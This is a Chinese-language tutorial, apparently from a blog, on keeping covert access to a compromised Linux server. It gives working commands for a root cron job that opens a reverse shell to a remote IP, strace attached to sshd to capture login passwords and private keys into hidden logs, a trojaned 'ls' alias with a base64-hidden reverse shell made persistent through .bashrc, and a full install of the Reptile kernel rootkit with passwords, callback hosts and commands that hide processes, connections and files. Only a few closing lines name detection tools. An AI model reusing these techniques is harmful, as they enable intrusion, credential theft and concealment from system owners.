【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

简介: 【权限维持】Linux&Rootkit后门&Strace监控&Alias别名&Cron定时任务

权限维持-Linux-定时任务-Cron后门

利用系统的定时任务功能进行反弹Shell

1、编辑后门反弹

vim /etc/.backshell.sh

#!/bin/bash
bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1
chmod +x /etc/.backshell.sh

2、添加定时任务

vim /etc/crontab
*/1 * * * * root /etc/.backshell.sh


成功反弹shell


权限维持-Linux-监控功能-Strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。

我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

1、记录sshd明文

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


唯一的不足就是.sshd.log文件不停的在记录登陆字节流,生成的文件特别大

通过服务器监控面板可以明显看到


2、记录sshd私钥

(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
grep 'PRIVATE KEY' /tmp/.sshd.log


权限维持-Linux-命令自定义-Alias后门

alias命令的功能:为命令设置别名

定义:alias ls = ‘ls -al’

删除:unalias ls

每次输入ls命令的时候都能实现ls -al

1、简单:

alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1; };alerts'

这样目标执行ls命令后可以上线,不过ls命令会被阻塞在那里,很容易引起怀疑,当结束终端窗口时,反弹shell的会话也会随着被终结,而且更改后的alias命令只在当前窗口才有效(重启也会失效)

2、升级:

alias ls=‘alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,’‘‘UTF-8’’‘)} alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'


3、持久化+隐藏:重启依旧生效


vim /etc/upload
vim ~/.bashrc
if [ -f /etc/upload ]; then
. /etc/upload
fi


权限维持-Linux-内核加载LKM-Rootkit后门

传统后门通过TCP连接,容易被发现

现在常用的linux维持权限的方法大多用crontab和开机自启动,同时使用的大多是msf 或者其它的tcp连接来反弹shell ,这种做法比较容易被管理员发现。所以我们想有一个非tcp连接、流量不容易被怀疑的后门,并且在大量的shell的场景下,可以管shell,Reptile刚好是种LKM rootkit,因此具有很好的隐藏性和强大的功能。

https://github.com/f0rb1dd3n/Reptile/releases/

自动化脚本搭建

Centos,Ubuntu

$kernel=`uname -r`
## centos
  yum -y install perl vim gcc make g++ unzip
  # 由于Cenots内核管理不便,所以使用下载对应版本的kernel-devel到本地
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
47.94.xx.xx
4444
1
EOF

## ubuntu
  apt-get install vim gcc make g++ unzip -y
  apt-get -y install linux-headers-$(uname -r)
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
10.10.10.129
4444
1
EOF

注意Rootkit是安装在目标主机上的

安装成功后,不显示文件夹,但是实际上是存在的

1、使用参考:

https://github.com/f0rb1dd3n/Reptile/wiki


隐藏进程: /reptile/reptile_cmd hide

显示进程: /reptile/reptile_cmd show

nohup ping 114.114.114.114 &
ps -ef | grep ping | grep -v grep
/reptile/reptile_cmd hide 4774
ps -ef | grep ping | grep -v grep

隐藏后门连接

隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

netstat -anpt | grep 100.100.45.106
/reptile/reptile_cmd tcp 100.100.45.106 443 hide

隐藏文件:

文件名中带reptile的都会被隐藏

mkdir reptile_whgojp
mkdir reptile_file
ls -l
cd reptile_xiaodi

2、高级玩法

客户端安装

./setup.sh client

设置连接配置

LHOST     47.94.236.117     Local host to receive the shell
LPORT     4444  Local       port to receive the shell
SRCHOST     47.94.236.117     Source host on magic packets (spoof)
SRCPORT     666           Source port on magic packets (only for TCP/UDP)
RHOST     121.43.154.113      Remote host
RPORT     22            Remote port (only for TCP/UDP)
PROT      TCP           Protocol to send magic packet (ICMP/TCP/UDP)
PASS      s3cr3t          Backdoor password (optional)
TOKEN     hax0r         Token to trigger the shell


关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer


https://github.com/grayddq/GScan

相关文章
|
1月前
|
监控 安全 Linux
在Linux中,zabbix如何监控脑裂?
在Linux中,zabbix如何监控脑裂?
|
2天前
|
Unix Linux Python
Cron定时设置在linux和mac中的使用
文章详细说明了如何在Linux和Mac操作系统中使用Cron进行定时任务的设置,并提供了多个Cron表达式的实例。
10 0
|
24天前
|
存储 监控 Linux
监控Linux服务器
详细介绍了如何监控Linux服务器,包括监控CPU、内存、磁盘存储和带宽的使用情况,以及使用各种系统监控工具如vmstat、iostat、sar、top和dstat来分析系统性能,并推荐了一些开源监控系统。
30 0
监控Linux服务器
|
29天前
|
Unix Linux Go
Linux中的chmod权限问题
Linux中的chmod权限问题
21 0
|
1月前
|
安全 Linux 数据安全/隐私保护
在Linux中,使用rsync服务模式时,如果指定了⼀个密码文件,那么这个密码文件的权限应该设置成多少才可以?
在Linux中,使用rsync服务模式时,如果指定了⼀个密码文件,那么这个密码文件的权限应该设置成多少才可以?
|
1月前
|
Linux
在Linux中,如何使用xargs和exec实现把当前目录下所有后缀名为.txt的⽂件的权限修改为777。
在Linux中,如何使用xargs和exec实现把当前目录下所有后缀名为.txt的⽂件的权限修改为777。
|
1月前
|
安全 Linux 数据安全/隐私保护
Linux安全大揭秘:一键切换root权限背后隐藏的秘密
【8月更文挑战第23天】Linux操作系统因其出色的灵活性和安全性备受推崇,用户权限管理是其核心功能之一。本文介绍如何安全地在用户间切换,特别是切换至拥有最高权限的root用户。我们探讨了两种主要的方法:`su` 和 `sudo` 命令,并通过示例展示了它们的应用场景。`su` 命令适合需要执行多个root权限操作的情况,而 `sudo` 更适用于临时执行单个高权限命令。同时,文章还提供了一些最佳实践,如避免长时间使用root账户、定期审查 `sudoers` 文件等,以确保系统的安全性。正确理解和应用这些工具和原则对于维护Linux系统的安全至关重要。
39 0
|
1月前
|
Prometheus 监控 Kubernetes
在Linux中,如何进行系统性能的持续监控?
在Linux中,如何进行系统性能的持续监控?
|
Linux
如何查找 Linux 系统`cron` 或 `crontab` 日志?
如何查找 Linux 系统`cron` 或 `crontab` 日志?
655 0
|
Linux
Linux的cron和crontab
一 cron crond位于/etc/rc.d/init.d/crond 或 /etc/init.d 或 /etc/rc.d /rc5.d/S90crond,最总引用/var/lock/subsys/crond。
1011 0